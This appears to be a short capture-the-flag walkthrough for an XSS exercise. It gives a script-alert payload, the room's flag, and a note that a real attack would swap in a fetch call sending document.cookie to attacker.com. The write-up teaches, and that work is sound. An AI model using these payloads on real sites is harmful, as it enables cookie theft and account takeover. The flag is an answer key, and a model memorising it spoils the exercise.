The flag for this room is stored in a JavaScript variable on the page. You can read it directly from the console or via your XSS payload.
Command / Input
<script>alert(FLAG)</script>
Output
HackrGG{x55_1n_th3_sh03_bl0g}
⚑ In a real attack, this payload would be replaced with one that exfiltrates data to an attacker-controlled server: fetch("https://attacker.com/?c=" + document.cookie)